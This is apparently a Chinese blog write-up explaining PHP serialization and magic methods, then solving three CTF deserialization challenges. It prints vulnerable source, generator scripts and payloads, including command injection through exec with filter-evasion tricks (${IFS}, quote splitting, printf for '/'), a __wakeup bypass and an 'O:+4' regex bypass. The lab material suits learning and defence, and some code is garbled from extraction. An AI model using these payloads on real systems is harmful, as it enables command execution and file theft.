php反序列化+题

含义:

php序列化(serialize):是将变量转换为可保存或传输的字符串的过程
php反序列化(unserialize):就是在适当的时候把这个字符串再转化成原来的变量使用
这两个过程结合起来,可以轻松地存储和传输数据,使程序更具维护性。

对象序列化成的字节序列会包含对象的类型信息、对象的数据等,说白了就是包含了描述这个对象的所有信息,能根据这些信息"复刻"出一个和原来一模一样的对象。

常见的php系列化和反系列化方式主要有:serialize,unserialize;json_encode,json_decode。

字符详解

O:6:"Person":3:{s:4:"name";s:3:"tom"; s:11:"Personage"; i:18; s:6:"*sex"; s:3:"boy";}

O : 自定义对象 object
6 : 类名的长度
:3 : 3个成员属性
S:4 : 你的成员属性名 长度为4 ,并且是一个字符串 string
S:3 : 刚刚那个成员属性对应的值 是string类型,并且长度是3位
s:11:"Personage" : 因为该属性是私有属性,所以需要在属性名前加上类名,方便我们进行反序列化的时候的识别.
i:18 : 18是age的属性值 , i是代表 integer类型

s:6:"*sex"; sex这个属性是一个受保护的属性,特征就是 * 号

s:3:"boy : 代表 string类型,属性值长度为3位 boy对应是 sex的属性值

魔术方法:

魔术方法是一种特殊的方法,当对对象执行某些操作时会覆盖 PHP 的默认操作。PHP中把以两个下划线 __开头的方法称为魔术方法(Magic methods)

PHP 保留所有以 __ 开头的方法名称。 因此,除非覆盖 PHP 的行为,否则不建议使用此类方法名称。在面向对象编程中,PHP提供了一系列的魔术方法,这些魔术方法为编程提供了很多便利。并且不需要显示的调用而是由某种特定的条件出发。

构造函数和析构函数

构造函数和析构函数分别在对象创建和销毁时被调用。对象被"销毁"是指不存在任何对该对象的引用,比如引用该对象的变量被删除(unset)、重新赋值或脚本执行结束,都会调用析构函数。

常用魔术方法

__construct: 在创建对象时候初始化对象,一般用于对变量赋初值。

__destruct: 和构造函数相反,当对象所在函数调用完毕后执行。

__toString:当对象被当做一个字符串使用时调用。

__sleep:序列化对象之前就调用此方法(其返回需要一个数组)

__wakeup:反序列化恢复对象之前调用该方法

__call:当调用对象中不存在的方法会自动调用该方法。

__get:在调用私有属性的时候会自动执行

__isset()在不可访问的属性上调用isset()或empty()触发

__unset()在不可访问的属性上使用unset()时触发

serialize() 函数会检查类中是否存在一个魔术方法。如果存在,该方法会先被调用,然后才执行序列化操作。

从序列化到反序列化这几个函数的执行过程是:

__construct() ->__sleep() -> __wakeup() -> __toString() -> __destruct()

__toString()这个魔术方法触发的因素

1. echo(obj)/print(obj)打印时会触发
2. 反序列化对象与字符串连接时
3. 反序列化对象参与格式化字符串时
4. 反序列化对象与字符串进行==比较时(PHP进行==比较的时候会转换参数类型)
5. 反序列化对象参与格式化SQL语句,绑定参数时
6. 反序列化对象在经过php字符串处理函数,如strlen()、strops()、strcmp()、addslashes()等
7. 在in_array()方法中,第一个参数时反序列化对象,第二个参数的数组中有__toString()返回的字符串的时候__toString()会被调用
8. 反序列化的对象作为class_exists()的参数的时候

魔术方法在反序列化攻击中的作用

反序列化的入口在unserialize(),只要参数可控并且这个类在当前作用域存在,就能传入任何已经序列化的对象,而不是局限于出现unserialize()函数的类的对象。

如果只能局限于当前类,那攻击面就太小了,而且反序列化其他类对象只能控制属性,如果没有完成反序列化后的代码中调用其他类对象的方法,还是无法利用漏洞进行攻击。

但是,利用魔术方法就可以扩大攻击面,魔术方法是在该类序列化或者反序列化的同时自动完成的,这样就可以利用反序列化中的对象属性来操控一些能利用的函数,达到攻击的目的。

在反序列化过程中,其功能就类似于创建了一个新的对象(复原一个对象可能更恰当),并赋予其相应的属性值。如果让攻击者操纵任意反序列数据, 那么攻击者就可以实现任意类对象的创建,如果一些类存在一些自动触发的方法(魔术方法),那么就有可能以此为跳板进而攻击系统应用。

php序列化和反序列化

下面来详细介绍一下php序列化和反序列化

Python序列化与反序列化详解(包括json和json模块详解)-CSDN博客

PHP序列化

有时需要把一个对象在网络上传输,为了方便传输,可以把整个对象转化为二进制串,等到达另一端时,再还原为原来的对象,这个过程称之为串行化(也叫序列化)。

json数据使用 , 分隔开,数据内使用 : 分隔键和值

json数据其实就是个数组,这样做的目的也是为了方便在前后端传输数据,后端接受到json数据,可以通过json_decode()得到原数据,

这种将原本的数据通过某种手段进行"压缩",并且按照一定的格式存储的过程就可以称之为序列化。

有两种情况必须把对象序列化:

把一个对象在网络中传输

把对象写入文件或数据库

PHP序列化:把对象转化为二进制的字符串,使用serialize()函数
PHP反序列化:把对象转化的二进制字符串再转化为对象,使用unserialize()函数

PHP为何要序列化和反序列化

PHP的序列化与反序列化其实是为了解决一个问题:PHP对象传递问题

PHP对象是存放在内存的堆空间段上的,PHP文件在执行结束的时候会将对象销毁。

如果刚好要用到销毁的对象,难道还要再写一遍代码?所以为了解决这个问题就有了PHP的序列化和反序列化

从上文可以发现,我们可以把一个实例化的对象长久的存储在计算机磁盘上,需要调用的时候只需反序列化出来即可使用。

挖掘反序列化漏洞的条件是:

1.代码中有可利用的类,并且类中有__wakeup(),__sleep(),__destruct()这类特殊条件下可以自己调用的魔术方法。

  1. unserialize()函数的参数可控。

攻防世界:

unseping

下面看题来熟悉一下:

源码

<?php

highlight_file(FILE);//(语法高亮)

class ease{//类定义

private $method;//私有变量

private $args;

function __construct(method, args) {//__construct() 函数创建一个新的 SimpleXMLElement 对象。("SimpleXMLElement是在PHP中处理XML文档的一个类)method和args是两个参数

this-\>method = method;

this-\>args = args;//构造函数接受两个参数 method 和 args,并将它们分别赋值给类的成员(私有)变量 method 和 args

}//初始化,在创建类的实例时,可以通过传递参数来初始化对象的属性。

function __destruct(){//析构函数 __destruct 则是在对象被销毁之前自动调用的方法

if (in_array(this-\>method, array("ping"))) { //检查成员变量 method 的值是否在数组 array("ping") 中,如果是的话,就调用对象自身的方法 $this->method**(简单来说就是判断method是不是等于ping)**

call_user_func_array(array(this, this->method), this-\>args);//动态地调用对象的方法,并将 this->args 数组作为参数传递给该方法。

}

} //在对象销毁时,如果 method 的值是 "ping",则调用对象自身的 "ping" 方法,并将 args 数组作为参数传递给该方法。

function ping($ip){//执行ping命令**(函数ping)**

exec(ip, result);

var_dump($result);

}//ping 函数的作用是执行系统命令 exec(ip, result),其中 ip 是传递给 ping 命令的参数。exec 函数执行系统命令,并将结果存储在变量 result 中。然后,使用 var_dump(result) 打印 result 的内容,以便查看命令执行的结果

function waf($str){//函数waf

if (!preg_match_all("/(\||&|;| |\/|cat|flag|tac|php|ls)/", str, pat_array)) {

return $str;

} else {

echo "don't hack";

}

}//waf 函数是一个简单的 Web 应用防火墙(Web Application Firewall)函数。它使用正则表达式来检测 str 是否包含特定的敏感词汇,如 \|、\&、;、/、cat、flag、tac、php、ls 等。如果 str 中存在这些敏感词汇,则输出 "don't hack",表示不允许执行该操作。否则,返回原始的 $str 值

function __wakeup(){

foreach(this-\>args as k => $v) {

this-\>args\[k] = this-\>waf(v);

}

}

}//__wakeup 是 PHP 中的一个魔术方法(magic method),用于在反序列化对象时进行特定操作。在这段代码中,__wakeup 方法被定义在一个类中,但是代码片段中省略了类的定义部分。 __wakeup方法的作用是对对象进行反序列化后的恢复操作。在这段代码中,它遍历对象的成员变量this-\>args,对每个成员变量的值使用 waf方法进行敏感词过滤,并将过滤后的值重新赋值给this->args[k\]\`。**(简单来说:如果 PHP 对象中存在名为 __wakeup 的方法,就调用该方法对对象进行恢复操作,即对成员变量 this->args 进行敏感词过滤。)**

ctf=@_POST['ctf'];//这行代码将 _POST 数组中名为 'ctf' 的元素的值赋给了变量 ctf。@ 符号用于抑制可能的错误提示。

@unserialize(base64_decode(ctf));//这行代码使用 base64_decode 函数对变量 ctf 的值进行解码,并使用 unserialize 函数将解码后的结果反序列化为对象。unserialize 函数用于将之前通过 serialize 函数序列化的对象转换回原始的 PHP 对象。(简单来说:对变量 $ctf 的值进行解码和反序列化,恢复为原始的 PHP 对象。)
?>

通过分析上面的代码我们可以得出,我们只要控制ctf这个参数的输入的值,就可以达成命令执行的效果,但是上面的代码,我们需要两个参数ping和后面命令执行的值,我们首先就得看看当前目录下都有些什么东西。同时我们需要考虑ls字符被过滤了,那么我们需要进行绕过,那我们就可以写出如下的PHP语句进行,ctf值的输出

<?php

class ease{

private $method;

private $args;

function __construct(method, args) {

this-\>method = method;

this-\>args = args;

}

}

a = new ease("ping",array('c""at{IFS}f""lag_1s_here(printf{IFS}"\57")f""lag_831b69012c67b35f.p""hp'));

b = serialize(a);

echo $b;

echo'</br>';

echo base64_encode($b);

?>

<?php

class ease{

private $method;

private $args;

function __construct(method, args) {

this-\>method = method;

this-\>args = args;

}//定义了一个名为 ease 的类。该类具有私有成员变量 method 和 args,以及一个构造函数 __construct。构造函数接受两个参数 method 和 args,并将它们分别赋值给类的成员变量

}

a = new ease("ping",array('l""s'));//创建了一个类的实例 a,通过传递参数 "ping" 和数组 array('l""s') 给构造函数来初始化实例。

b = serialize(a);//使用 serialize 函数对实例 a 进行序列化,将其转换为一个字符串表示 echo b;

echo'</br>';//使用 echo 语句输出序列化后的字符串 b,并在其后添加一个换行符 \。 echo base64_encode(b);//使用 base64_encode 函数对序列化后的字符串 $b 进行 Base64 编码,将其转换为另一个字符串表示,并使用 echo 语句输出。

?>

运行结果:

找到了flag文件 再在原来的基础上把命令改一下就可以了

想要执行cat flag_1s_here/flag_831b69012c67b35f.php来查看flag,cat,flag,php都可以用双引号绕过,空格用{IFS}绕过,/要用printf及()绕过。

arg=c""at{IFS}(printf${IFS}"\57")f""lag_831b69012c67b35f.p""hp。

unserialize3

东西很少,

看源码:

class xctf{

public flag = '111';//类中定义了一个公共成员变量 flag,其值为字符串 '111'。这个变量可以在类的实例中被访问和修改

public function __wakeup(){

exit('bad requests');//类中定义了一个特殊方法 __wakeup()。__wakeup() 方法在 PHP 的反序列化过程中被调用。在这段代码中,__wakeup() 方法被重写,当进行反序列化时,会触发该方法。在方法内部,使用 exit() 函数输出字符串 'bad requests',并终止程序的执行。

}

?code=//给出的 URL 参数 ?code=

代码中的__wakeup()方法如果使用就是和unserialize()反序列化函数结合使用的,这里没有序列化字符串,何来反序列化呢?于是,我们这里实例化xctf类并对其使用序列化(这里就实例化xctf类为对象peak)

<?php

class xctf{ //定义一个名为xctf的类

public flag = '111'; //定义一个公有的类属性flag,值为111

public function __wakeup(){ //定义一个公有的类方法__wakeup(),输出bad requests后退出当前脚本

exit('bad requests');

}

}

$peak = new xctf(); //使用new运算符来实例化该类(xctf)的对象为peak

echo(serialize($peak)); //输出被序列化的对象(peak)

?>

得到了一个序列化:O:4:"xctf":1:{s:4:"flag";s:3:"111";}

//xctf类后面有一个1,整个1表示的是xctf类中只有1个属性
__wakeup()漏洞就是与序列化字符串的整个属性个数有关。当序列化字符串所表示的对象,
其序列化字符串中属性个数大于真实属性个数时就会跳过__wakeup的执行,从而造成__wakeup()漏洞

所以我们构造的payload只需要把xctf后边的1改成2

O:4:"xctf":2:{s:4:"flag";s:3:"111";} 在利用参数进行访问就可以了

cyberpeace{b071fb46dca53c8e64462e9cfd16ebed}

Web_php_unserialize

<?php

class Demo { //类定义

private $file = 'index.php';//私有变量

public function __construct($file) { //__construct() 函数创建一个新的 SimpleXMLElement 对象

this-\>file = file;

}//初始化,在创建类的实例时,可以通过传递参数来初始化对象的属性

function __destruct() { //析构函数 __destruct 则是在对象被销毁之前自动调用的方法

echo @highlight_file(this-\>file, true); //highlight_file() 函数以代码高亮的形式输出 file 文件的内容

}

function __wakeup() {

if ($this->file != 'index.php') {

//the secret is in the fl4g.php

$this->file = 'index.php';

} //反序列化魔术方法 __wakeup() 在反序列化对象时被调用。在这段代码中,如果 $file 不等于 'index.php',则将其重置为 'index.php'(秘密藏在fl4g.php里面)

}

}

if (isset(_GET\['var'\])) { //在主代码块中,首先检查是否存在 _GET['var'] 参数。

var = base64_decode(_GET['var']); //_GET\['var'\] 参数,则对其进行 Base64 解码,并将结果赋值给变量 var

if (preg_match('/[oc]:\d+:/i', $var)) {

die('stop hacking!'); //使用正则表达式匹配检查 var 是否包含类似 o:数字: 的序列化字符串。如果匹配成功,说明 var 可能被恶意篡改,代码执行会被终止,并输出提示信息

} else {

@unserialize(var); //var 没有匹配到恶意序列化字符串,则使用 @unserialize() 函数对 $var 进行反序列化操作

}

} else {

highlight_file("index.php"); //如果不存在 $_GET['var'] 参数,则使用 highlight_file() 函数以代码高亮的形式输出当前文件 index.php 的内容

}

?>

通过源代码可以看出来,想得到flag要绕过3个

1.绕过__wakeup 2.绕过正则表达式 3.base64加密

1.绕过:

__wakeup()函数漏洞就是与对象的属性个数有关,如果序列化后的字符串中表示属性个数的数字与真实属性个数一致,那么i就调用__wakeup()函数,如果该数字大于真实属性个数,就会绕过__wakeup()函数。

2.(preg_match('/[oc]:\d+:/i', $var))

而正则匹配的规则是: 在不区分大小写的情况下 , 若字符串出现 "o:数字" 或者 "c:数字' 这样的格式 , 那么就被过滤 .很明显 , 因为 serialize() 的参数为 object ,因此参数类型肯定为对象 " O " , 又因为序列化字符串的格式为 参数格式:参数名长度 , 因此 " O:4 " 这样的字符串肯定无法通过正则匹配

绕过

而O:+4没被过滤说明绕过了过滤而且最后的值不变。

3.直接base64加密就可以

<?php

class Demo {

private $file = 'index.php';

public function __construct($file) {

this-\>file = file;

}

function __destruct() {

echo @highlight_file($this->file, true);

}

function __wakeup() {

if ($this->file != 'index.php') {

//the secret is in the fl4g.php

$this->file = 'index.php';

}

}

}

$A = new Demo ('fl4g.php'); //创建对象

C = serialize(A); //对对象A进行序列化

C = str_replace('O:4','O:+4',C); //绕过正则表达式过滤

C = str_replace(':1:',':2:',C); //wakeup绕过

var_dump($C);

var_dump(base64_encode($C)); //base64加密

?>

TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==

绕过的详细过程:

利用反列化函数,得增加以下代码,$a = new Demo('fl4g.php');

先利用在线工些代码,对其进行反序列化

<?php

class Demo {

private $file = 'fl4g.php';

}

$a = serialize(new Demo);

var_dump($a);

?>

得到:O:4:"Demo":1:{s:10:"Demofile";s:8:"fl4g.php";}

__wakeup绕过:

"Demo":1 改成 "Demo":2

正则绕过:

O:4 改成:O:+4

所以写成:O:+4:"Demo":2:{s:10:"Demofile";s:8:"fl4g.php";}(这里只做示范,要用在线php里边的序列化才可以)

在对其进行base64编码:TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==

得到base64编码 在传个参就可以了

/?var=TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==

得到了flag

相关推荐
ServBay11 小时前
垃圾堆里编码?真的不要怪 PHP 不行
后端·php
用户9623779544814 小时前
CTF 伪协议
php
BingoGo3 天前
当你的 PHP 应用的 API 没有限流时会发生什么?
后端·php
JaguarJack3 天前
当你的 PHP 应用的 API 没有限流时会发生什么?
后端·php·服务端
BingoGo4 天前
OpenSwoole 26.2.0 发布:支持 PHP 8.5、io_uring 后端及协程调试改进
后端·php
JaguarJack4 天前
OpenSwoole 26.2.0 发布:支持 PHP 8.5、io_uring 后端及协程调试改进
后端·php·服务端
JaguarJack5 天前
推荐 PHP 属性(Attributes) 简洁读取 API 扩展包
后端·php·服务端
BingoGo5 天前
推荐 PHP 属性(Attributes) 简洁读取 API 扩展包
php
JaguarJack6 天前
告别 Laravel 缓慢的 Blade!Livewire Blaze 来了,为你的 Laravel 性能提速
后端·php·laravel
郑州光合科技余经理6 天前
代码展示:PHP搭建海外版外卖系统源码解析
java·开发语言·前端·后端·系统架构·uni-app·php